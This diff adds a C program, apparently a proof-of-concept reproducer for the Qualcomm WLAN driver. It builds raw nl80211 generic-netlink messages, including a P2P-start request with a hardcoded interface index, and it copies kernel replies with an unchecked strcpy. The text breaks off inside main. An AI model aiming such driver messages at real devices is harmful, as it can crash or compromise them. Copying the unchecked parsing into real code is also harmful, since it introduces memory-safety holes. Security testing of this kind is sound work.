+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_VALID_CHANNELS_CONFIG_PARAM_WIFI_BAND,
+ /* Unsigned 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_VALID_CHANNELS_CONFIG_PARAM_MAX_CHANNELS,
+
+ /* NL attributes for input params used by
+ * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_START sub command.
+ */
+
+ /* Unsigned 32-bit value; channel frequency */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_CHANNEL,
+ /* Unsigned 32-bit value; dwell time in ms. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_DWELL_TIME,
+ /* Unsigned 8-bit value; 0: active; 1: passive; N/A for DFS */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_PASSIVE,
+ /* Unsigned 8-bit value; channel class */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_CLASS,
+
+ /* Unsigned 8-bit value; bucket index, 0 based */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_INDEX,
+ /* Unsigned 8-bit value; band. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_BAND,
+ /* Unsigned 32-bit value; desired period, in ms. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_PERIOD,
+ /* Unsigned 8-bit value; report events semantics. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_REPORT_EVENTS,
+ /* Unsigned 32-bit value.
+ * Followed by a nested array of EXTSCAN_CHANNEL_SPEC_* attributes.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_NUM_CHANNEL_SPECS,
+
+ /* Array of QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_* attributes.
+ * Array size: QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_NUM_CHANNEL_SPECS
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC,
+
+ /* Unsigned 32-bit value; base timer period in ms. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_BASE_PERIOD,
+ /* Unsigned 32-bit value; number of APs to store in each scan in the
+ * BSSID/RSSI history buffer (keep the highest RSSI APs).
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_MAX_AP_PER_SCAN,
+ /* Unsigned 8-bit value; in %, when scan buffer is this much full, wake up
+ * APPS.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_PERCENT,
+ /* Unsigned 8-bit value; number of scan bucket specs; followed by a nested
+ * array of_EXTSCAN_BUCKET_SPEC_* attributes and values. The size of the
+ * array is determined by NUM_BUCKETS.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_NUM_BUCKETS,
+
+ /* Array of QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_* attributes.
+ * Array size: QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_NUM_BUCKETS
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC,
+
+ /* Unsigned 8-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_CACHED_SCAN_RESULTS_CONFIG_PARAM_FLUSH,
+ /* Unsigned 32-bit value; maximum number of results to be returned. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_CACHED_SCAN_RESULTS_CONFIG_PARAM_MAX,
+
+ /* An array of 6 x Unsigned 8-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_BSSID,
+ /* Signed 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_RSSI_LOW,
+ /* Signed 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_RSSI_HIGH,
+ /* Unsigned 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_CHANNEL,
+
+ /* Number of hotlist APs as unsigned 32-bit value, followed by a nested
+ * array of AP_THRESHOLD_PARAM attributes and values. The size of the
+ * array is determined by NUM_AP.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BSSID_HOTLIST_PARAMS_NUM_AP,
+
+ /* Array of QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_* attributes.
+ * Array size: QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_NUM_CHANNEL_SPECS
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM,
+
+ /* Unsigned 32bit value; number of samples for averaging RSSI. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_RSSI_SAMPLE_SIZE,
+ /* Unsigned 32bit value; number of samples to confirm AP loss. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_LOST_AP_SAMPLE_SIZE,
+ /* Unsigned 32bit value; number of APs breaching threshold. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_MIN_BREACHING,
+ /* Unsigned 32bit value; number of APs. Followed by an array of
+ * AP_THRESHOLD_PARAM attributes. Size of the array is NUM_AP.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_NUM_AP,
+ /* Unsigned 32bit value; number of samples to confirm AP loss. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BSSID_HOTLIST_PARAMS_LOST_AP_SAMPLE_SIZE,
+
+ /* Unsigned 32-bit value. If max_period is non zero or different than
+ * period, then this bucket is an exponential backoff bucket.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_MAX_PERIOD,
+ /* Unsigned 32-bit value. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_BASE,
+ /* Unsigned 32-bit value. For exponential back off bucket, number of scans
+ * to performed for a given period.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_STEP_COUNT,
+ /* Unsigned 8-bit value; in number of scans, wake up AP after these
+ * many scans.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_NUM_SCANS,
+
+ /* NL attributes for data used by
+ * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_SSID_HOTLIST sub command.
+ */
+ /* Unsigned 32bit value; number of samples to confirm SSID loss. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_LOST_SSID_SAMPLE_SIZE,
+ /* Number of hotlist SSIDs as unsigned 32-bit value, followed by a nested
+ * array of SSID_THRESHOLD_PARAM_* attributes and values. The size of the
+ * array is determined by NUM_SSID.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_NUM_SSID,
+ /* Array of QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_* attributes.
+ * Array size: QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_NUM_SSID
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM,
+
+ /* An array of 33 x Unsigned 8-bit value; NULL terminated SSID */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_SSID,
+ /* Unsigned 8-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_BAND,
+ /* Signed 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_RSSI_LOW,
+ /* Signed 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_RSSI_HIGH,
+
+ /* Unsigned 32-bit value; a bitmask w/additional extscan config flag. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_CONFIGURATION_FLAGS,
+
+ /* keep last */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_AFTER_LAST,
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX =
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_AFTER_LAST - 1,
+};
+
+enum qca_nl80211_vendor_subcmds {
+ QCA_NL80211_VENDOR_SUBCMD_UNSPEC = 0,
+ QCA_NL80211_VENDOR_SUBCMD_TEST = 1,
+ /* subcmds 2..8 not yet allocated */
+ QCA_NL80211_VENDOR_SUBCMD_ROAMING = 9,
+ QCA_NL80211_VENDOR_SUBCMD_AVOID_FREQUENCY = 10,
+ QCA_NL80211_VENDOR_SUBCMD_DFS_CAPABILITY = 11,
+ QCA_NL80211_VENDOR_SUBCMD_NAN = 12,
+ QCA_NL80211_VENDOR_SUBCMD_STATS_EXT = 13,
+ /* subcommands for link layer statistics start here */
+ QCA_NL80211_VENDOR_SUBCMD_LL_STATS_SET = 14,
+ QCA_NL80211_VENDOR_SUBCMD_LL_STATS_GET = 15,
+ QCA_NL80211_VENDOR_SUBCMD_LL_STATS_CLR = 16,
+ QCA_NL80211_VENDOR_SUBCMD_LL_STATS_RADIO_RESULTS = 17,
+ QCA_NL80211_VENDOR_SUBCMD_LL_STATS_IFACE_RESULTS = 18,
+ QCA_NL80211_VENDOR_SUBCMD_LL_STATS_PEERS_RESULTS = 19,
+ /* subcommands for extscan start here */
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_START = 20,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_STOP = 21,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_GET_VALID_CHANNELS = 22,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_GET_CAPABILITIES = 23,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_GET_CACHED_RESULTS = 24,
+ /* Used when report_threshold is reached in scan cache. */
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SCAN_RESULTS_AVAILABLE = 25,
+ /* Used to report scan results when each probe rsp. is received,
+ * if report_events enabled in wifi_scan_cmd_params.
+ */
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_FULL_SCAN_RESULT = 26,
+ /* Indicates progress of scanning state-machine. */
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SCAN_EVENT = 27,
+ /* Indicates BSSID Hotlist. */
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_AP_FOUND = 28,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_BSSID_HOTLIST = 29,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_RESET_BSSID_HOTLIST = 30,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SIGNIFICANT_CHANGE = 31,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_SIGNIFICANT_CHANGE = 32,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_RESET_SIGNIFICANT_CHANGE = 33,
+ /* EXT TDLS */
+ QCA_NL80211_VENDOR_SUBCMD_TDLS_ENABLE = 34,
+ QCA_NL80211_VENDOR_SUBCMD_TDLS_DISABLE = 35,
+ QCA_NL80211_VENDOR_SUBCMD_TDLS_GET_STATUS = 36,
+ QCA_NL80211_VENDOR_SUBCMD_TDLS_STATE = 37,
+ /* Get supported features */
+ QCA_NL80211_VENDOR_SUBCMD_GET_SUPPORTED_FEATURES = 38,
+
+ /* Set scanning_mac_oui */
+ QCA_NL80211_VENDOR_SUBCMD_SCANNING_MAC_OUI = 39,
+ /* Set nodfs_flag */
+ QCA_NL80211_VENDOR_SUBCMD_NO_DFS_FLAG = 40,
+
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_AP_LOST = 41,
+
+ /* Get Concurrency Matrix */
+ QCA_NL80211_VENDOR_SUBCMD_GET_CONCURRENCY_MATRIX = 42,
+
+ /* Get the security keys for key management offload */
+ QCA_NL80211_VENDOR_SUBCMD_KEY_MGMT_SET_KEY = 50,
+
+ /* Send the roaming and authentication info after roaming */
+ QCA_NL80211_VENDOR_SUBCMD_KEY_MGMT_ROAM_AUTH = 51,
+
+ QCA_NL80211_VENDOR_SUBCMD_APFIND = 52,
+
+ /* Deprecated */
+ QCA_NL80211_VENDOR_SUBCMD_OCB_SET_SCHED = 53,
+
+ QCA_NL80211_VENDOR_SUBCMD_DO_ACS = 54,
+
+ /* Get the supported features by the driver */
+ QCA_NL80211_VENDOR_SUBCMD_GET_FEATURES = 55,
+
+ /* Off loaded DFS events */
+ QCA_NL80211_VENDOR_SUBCMD_DFS_OFFLOAD_CAC_STARTED = 56,
+ QCA_NL80211_VENDOR_SUBCMD_DFS_OFFLOAD_CAC_FINISHED = 57,
+ QCA_NL80211_VENDOR_SUBCMD_DFS_OFFLOAD_CAC_ABORTED = 58,
+ QCA_NL80211_VENDOR_SUBCMD_DFS_OFFLOAD_CAC_NOP_FINISHED = 59,
+ QCA_NL80211_VENDOR_SUBCMD_DFS_OFFLOAD_RADAR_DETECTED = 60,
+
+ /* Get Wifi Specific Info */
+ QCA_NL80211_VENDOR_SUBCMD_GET_WIFI_INFO = 61,
+ /* Start Wifi Logger */
+ QCA_NL80211_VENDOR_SUBCMD_WIFI_LOGGER_START = 62,
+ /* Start Wifi Memory Dump */
+ QCA_NL80211_VENDOR_SUBCMD_WIFI_LOGGER_MEMORY_DUMP = 63,
+ QCA_NL80211_VENDOR_SUBCMD_ROAM = 64,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_SSID_HOTLIST = 65,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_RESET_SSID_HOTLIST = 66,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_SSID_FOUND = 67,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_SSID_LOST = 68,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_LIST = 69,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_PASSPOINT_LIST = 70,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_RESET_PASSPOINT_LIST = 71,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_NETWORK_FOUND = 72,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_PASSPOINT_NETWORK_FOUND = 73,
+
+ /* Wi-Fi Configuration subcommands */
+ QCA_NL80211_VENDOR_SUBCMD_SET_WIFI_CONFIGURATION = 74,
+ QCA_NL80211_VENDOR_SUBCMD_GET_WIFI_CONFIGURATION = 75,
+
+ QCA_NL80211_VENDOR_SUBCMD_GET_LOGGER_FEATURE_SET = 76,
+ QCA_NL80211_VENDOR_SUBCMD_GET_RING_DATA = 77,
+ QCA_NL80211_VENDOR_SUBCMD_TDLS_GET_CAPABILITIES = 78,
+
+ QCA_NL80211_VENDOR_SUBCMD_OFFLOADED_PACKETS = 79,
+ QCA_NL80211_VENDOR_SUBCMD_MONITOR_RSSI = 80,
+ QCA_NL80211_VENDOR_SUBCMD_NDP = 81,
+
+ /* NS Offload enable/disable cmd */
+ QCA_NL80211_VENDOR_SUBCMD_ND_OFFLOAD = 82,
+
+ QCA_NL80211_VENDOR_SUBCMD_PACKET_FILTER = 83,
+ QCA_NL80211_VENDOR_SUBCMD_GET_BUS_SIZE = 84,
+
+ QCA_NL80211_VENDOR_SUBCMD_GET_WAKE_REASON_STATS = 85,
+
+ /* OCB commands */
+ QCA_NL80211_VENDOR_SUBCMD_OCB_SET_CONFIG = 92,
+ QCA_NL80211_VENDOR_SUBCMD_OCB_SET_UTC_TIME = 93,
+ QCA_NL80211_VENDOR_SUBCMD_OCB_START_TIMING_ADVERT = 94,
+ QCA_NL80211_VENDOR_SUBCMD_OCB_STOP_TIMING_ADVERT = 95,
+ QCA_NL80211_VENDOR_SUBCMD_OCB_GET_TSF_TIMER = 96,
+ QCA_NL80211_VENDOR_SUBCMD_DCC_GET_STATS = 97,
+ QCA_NL80211_VENDOR_SUBCMD_DCC_CLEAR_STATS = 98,
+ QCA_NL80211_VENDOR_SUBCMD_DCC_UPDATE_NDL = 99,
+ QCA_NL80211_VENDOR_SUBCMD_DCC_STATS_EVENT = 100,
+
+ /* subcommand to get link properties */
+ QCA_NL80211_VENDOR_SUBCMD_LINK_PROPERTIES = 101,
+ QCA_NL80211_VENDOR_SUBCMD_SETBAND = 105,
+ QCA_NL80211_VENDOR_SUBCMD_SET_SAP_CONFIG = 118,
+};
+
+enum qca_wlan_vendor_attr {
+ QCA_WLAN_VENDOR_ATTR_INVALID = 0,
+ /* used by QCA_NL80211_VENDOR_SUBCMD_DFS_CAPABILITY */
+ QCA_WLAN_VENDOR_ATTR_DFS = 1,
+ /* used by QCA_NL80211_VENDOR_SUBCMD_NAN */
+ QCA_WLAN_VENDOR_ATTR_NAN = 2,
+ /* used by QCA_NL80211_VENDOR_SUBCMD_STATS_EXT */
+ QCA_WLAN_VENDOR_ATTR_STATS_EXT = 3,
+ /* used by QCA_NL80211_VENDOR_SUBCMD_STATS_EXT */
+ QCA_WLAN_VENDOR_ATTR_IFINDEX = 4,
+
+ /* used by QCA_NL80211_VENDOR_SUBCMD_ROAMING */
+ QCA_WLAN_VENDOR_ATTR_ROAMING_POLICY = 5,
+ QCA_WLAN_VENDOR_ATTR_MAC_ADDR = 6,
+
+ /* used by QCA_NL80211_VENDOR_SUBCMD_GET_FEATURES */
+ QCA_WLAN_VENDOR_ATTR_FEATURE_FLAGS = 7,
+
+ /* Unsigned 32-bit value from enum qca_set_band */
+ QCA_WLAN_VENDOR_ATTR_SETBAND_VALUE = 12,
+
+ /* keep last */
+ QCA_WLAN_VENDOR_ATTR_AFTER_LAST,
+ QCA_WLAN_VENDOR_ATTR_MAX = QCA_WLAN_VENDOR_ATTR_AFTER_LAST - 1
+};
+
+#define NETLINK_KERNEL_SOCKET 0x1
+#define NETLINK_RECV_PKTINFO 0x2
+#define NETLINK_BROADCAST_SEND_ERROR 0x4
+#define NETLINK_RECV_NO_ENOBUFS 0x8
+
+#define NLMSG_MIN_TYPE 0x10
+
+#define GENL_ID_GENERATE 0
+#define GENL_ID_CTRL NLMSG_MIN_TYPE
+#define GENL_ID_VFS_DQUOT (NLMSG_MIN_TYPE + 1)
+#define GENL_ID_PMCRAID (NLMSG_MIN_TYPE + 2)
+
+#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
+#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
+#define QCA_NL80211_VENDOR_ID 0x001374
+
+#define MAX_MSG_SIZE 1024
+
+struct msgtemplate {
+ struct nlmsghdr n;
+ struct genlmsghdr g;
+ char buf[MAX_MSG_SIZE];
+};
+
+enum qca_wlan_vendor_attr_ndp_params {
+ QCA_WLAN_VENDOR_ATTR_NDP_PARAM_INVALID = 0,
+ QCA_WLAN_VENDOR_ATTR_NDP_SUBCMD,
+ QCA_WLAN_VENDOR_ATTR_NDP_TRANSACTION_ID,
+ QCA_WLAN_VENDOR_ATTR_NDP_SERVICE_INSTANCE_ID,
+ QCA_WLAN_VENDOR_ATTR_NDP_CHANNEL,
+ QCA_WLAN_VENDOR_ATTR_NDP_PEER_DISCOVERY_MAC_ADDR,
+ QCA_WLAN_VENDOR_ATTR_NDP_IFACE_STR,
+ QCA_WLAN_VENDOR_ATTR_NDP_CONFIG_SECURITY,
+ QCA_WLAN_VENDOR_ATTR_NDP_CONFIG_QOS,
+ QCA_WLAN_VENDOR_ATTR_NDP_APP_INFO_LEN,
+ QCA_WLAN_VENDOR_ATTR_NDP_APP_INFO,
+ QCA_WLAN_VENDOR_ATTR_NDP_INSTANCE_ID,
+ QCA_WLAN_VENDOR_ATTR_NDP_NUM_INSTANCE_ID,
+ QCA_WLAN_VENDOR_ATTR_NDP_INSTANCE_ID_ARRAY,
+ QCA_WLAN_VENDOR_ATTR_NDP_RESPONSE_CODE,
+ QCA_WLAN_VENDOR_ATTR_NDP_SCHEDULE_STATUS_CODE,
+ QCA_WLAN_VENDOR_ATTR_NDP_NDI_MAC_ADDR,
+ QCA_WLAN_VENDOR_ATTR_NDP_DRV_RETURN_TYPE,
+ QCA_WLAN_VENDOR_ATTR_NDP_DRV_RETURN_VALUE,
+
+ QCA_WLAN_VENDOR_ATTR_NDP_PARAMS_AFTER_LAST,
+ QCA_WLAN_VENDOR_ATTR_NDP_PARAMS_MAX =
+ QCA_WLAN_VENDOR_ATTR_NDP_PARAMS_AFTER_LAST - 1,
+};
+
+enum qca_wlan_vendor_attr_dcc_update_ndl {
+ QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_INVALID = 0,
+ QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_CHANNEL_COUNT,
+ QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_CHANNEL_ARRAY,
+ QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_ACTIVE_STATE_ARRAY,
+ QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_AFTER_LAST,
+ QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_MAX =
+ QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_AFTER_LAST - 1,
+};
+
+#define PARAM_MAX QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX
+#define PARAM_REQUEST_ID \
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID
+#define PARAM_BASE_PERIOD \
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_BASE_PERIOD
+#define PARAM_MAX_AP_PER_SCAN \
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_MAX_AP_PER_SCAN
+#define PARAM_RPT_THRHLD_PERCENT \
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_PERCENT
+#define PARAM_RPT_THRHLD_NUM_SCANS \
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_NUM_SCANS
+#define PARAM_NUM_BUCKETS \
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_NUM_BUCKETS
+#define PARAM_CONFIG_FLAGS QCA_WLAN_VENDOR_ATTR_EXTSCAN_CONFIGURATION_FLAGS
+
+static int send_cmd(int sd, __u16 nlmsg_type, __u32 nlmsg_pid, __u8 genl_cmd,
+ __u16 nla_type, void *nla_data, int nla_len) {
+ printf("send_cmd %s %d\n", nla_data, nla_len);
+ struct nlattr *na;
+ struct sockaddr_nl nladdr;
+ int r, buflen;
+ char *buf;
+
+ struct msgtemplate msg;
+
+ msg.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
+ msg.n.nlmsg_type = nlmsg_type;
+ msg.n.nlmsg_flags = NLM_F_REQUEST;
+ msg.n.nlmsg_seq = 0;
+ msg.n.nlmsg_pid = nlmsg_pid;
+ msg.g.cmd = genl_cmd;
+ msg.g.version = 0x1;
+ na = (struct nlattr *)GENLMSG_DATA(&msg);
+ na->nla_type = nla_type;
+ na->nla_len = nla_len + 1 + NLA_HDRLEN;
+ memcpy(NLA_DATA(na), nla_data, nla_len);
+ msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
+
+ buf = (char *)&msg;
+ buflen = msg.n.nlmsg_len;
+ memset(&nladdr, 0, sizeof(nladdr));
+ nladdr.nl_family = AF_NETLINK;
+
+ if (buflen !=
+ sendto(sd, buf, buflen, 0, (struct sockaddr *)&nladdr, sizeof(nladdr))) {
+ return -1;
+ }
+ return 0;
+}
+
+static int get_family_id(int sd) {
+ int id = 0, rc;
+ struct nlattr *na;
+ int rep_len;
+ struct msgtemplate ans;
+
+ memset(&ans, 0, sizeof(struct msgtemplate));
+
+ rc = send_cmd(sd, GENL_ID_CTRL, getpid(), CTRL_CMD_GETFAMILY,
+ CTRL_ATTR_FAMILY_NAME, (void *)NL80211_GENL_NAME,
+ strlen(NL80211_GENL_NAME) + 1);
+ if (rc < 0) {
+ return 0; /* sendto() failure? */
+ }
+
+ rep_len = recv(sd, &ans, sizeof(ans), 0);
+ if (rep_len < 0) {
+ return -1;
+ }
+
+ na = (struct nlattr *)GENLMSG_DATA(&ans);
+ na = (struct nlattr *)((char *)na + NLA_ALIGN(na->nla_len));
+ if (na->nla_type == CTRL_ATTR_FAMILY_ID) {
+ id = *(__u16 *)NLA_DATA(na);
+ }
+ na = (struct nlattr *)((char *)na + NLA_ALIGN(na->nla_len));
+ return id;
+}
+
+int start_p2p(int id, int fd) {
+ struct nlattr *na;
+ struct nlattr *na_data;
+ struct sockaddr_nl nladdr;
+ int r, buflen, ret;
+ char *buf;
+ struct msgtemplate msg, ans;
+
+ msg.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
+ msg.n.nlmsg_type = id;
+ msg.n.nlmsg_flags = NLM_F_REQUEST;
+ msg.n.nlmsg_seq = 0;
+ msg.n.nlmsg_pid = getpid();
+ msg.g.cmd = NL80211_CMD_START_P2P_DEVICE;
+ msg.g.version = 1;
+
+ na = (struct nlattr *)GENLMSG_DATA(&msg);
+ na->nla_type = NL80211_ATTR_WIPHY;
+ na->nla_len = 4 + NLA_HDRLEN;
+ *(u32 *)NLA_DATA(na) = 0;
+ msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
+
+ na = (struct nlattr *)((char *)na + NLMSG_ALIGN(na->nla_len));
+ na->nla_type = NL80211_ATTR_IFINDEX;
+ na->nla_len = 4 + NLA_HDRLEN;
+ *(u32 *)NLA_DATA(na) = 24;
+ msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
+
+ buf = (char *)&msg;
+ buflen = msg.n.nlmsg_len;
+ memset(&nladdr, 0, sizeof(nladdr));
+ nladdr.nl_family = AF_NETLINK;
+ ret = sendto(fd, buf, buflen, 0, (struct sockaddr *)&nladdr, sizeof(nladdr));
+ if (ret < 0) {
+ return -1;
+ }
+
+ ret = recv(fd, &ans, sizeof(ans), 0);
+ return ret;
+}
+
+unsigned if_nametoindex(const char *ifname) {
+ int s = socket(AF_INET, SOCK_DGRAM | SOCK_CLOEXEC, 0);
+ if (s == -1) return 0;
+ int ret = 0;
+ struct ifreq ifr;
+
+ memset(&ifr, 0, sizeof(ifr));
+ strncpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name));
+ ifr.ifr_name[IFNAMSIZ - 1] = 0;
+
+ ret = ioctl(s, SIOCGIFINDEX, &ifr);
+ close(s);
+ return (ret == -1) ? 0 : ifr.ifr_ifindex;
+}
+
+int get_wiphy_idx(int id, int fd, int *ifindex, int *wiphyid, char *ifname) {
+ struct nlattr *na;
+ struct nlattr *na_data;
+ struct sockaddr_nl nladdr;
+ int r, buflen, ret;
+ char *buf;
+ struct msgtemplate msg, ans;
+
+ int if_index = if_nametoindex("wlan0");
+ msg.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
+ msg.n.nlmsg_type = id;
+ msg.n.nlmsg_flags = NLM_F_REQUEST;
+ msg.n.nlmsg_seq = 0;
+ msg.n.nlmsg_pid = getpid();
+ msg.g.cmd = NL80211_CMD_GET_INTERFACE;
+ msg.g.version = 1;
+
+ na = (struct nlattr *)GENLMSG_DATA(&msg);
+ na->nla_type = NL80211_ATTR_IFINDEX;
+ na->nla_len = 4 + NLA_HDRLEN;
+ *(u32 *)NLA_DATA(na) = if_index;
+ msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
+
+ buf = (char *)&msg;
+ buflen = msg.n.nlmsg_len;
+ memset(&nladdr, 0, sizeof(nladdr));
+ nladdr.nl_family = AF_NETLINK;
+ ret = sendto(fd, buf, buflen, 0, (struct sockaddr *)&nladdr, sizeof(nladdr));
+ if (ret < 0) {
+ return -1;
+ }
+
+ memset(&ans, 0, sizeof(ans));
+ ret = recv(fd, &ans, sizeof(ans), 0);
+
+ na = (struct nlattr *)GENLMSG_DATA(&ans);
+ *ifindex = *(u32 *)NLA_DATA(na);
+
+ na = (struct nlattr *)((char *)na + NLA_ALIGN(na->nla_len));
+ strcpy(ifname, NLA_DATA(na));
+
+ na = (struct nlattr *)((char *)na + NLA_ALIGN(na->nla_len));
+ *wiphyid = *(u32 *)NLA_DATA(na);
+
+ return ret;
+}
+
+int main(int argc, const char *argv[]) {
+ int ret;
+
+ int fd;
+ struct sockaddr_nl local;
+ struct msgtemplate ans;
+
+ /* create socket */
+ fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
+ if (fd < 0) return -1;
+
+ memset(&local, 0, sizeof(local));
+ local.nl_family = AF_NETLINK;
+
+ if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0) {
+ return -1;
+ }
+
+ int id = get_family_id(fd);
+
+ int ifindex, wiphyid;
+ char ifname[64];
+ get_wiphy_idx(id, fd, &ifindex, &wiphyid, ifname);
+
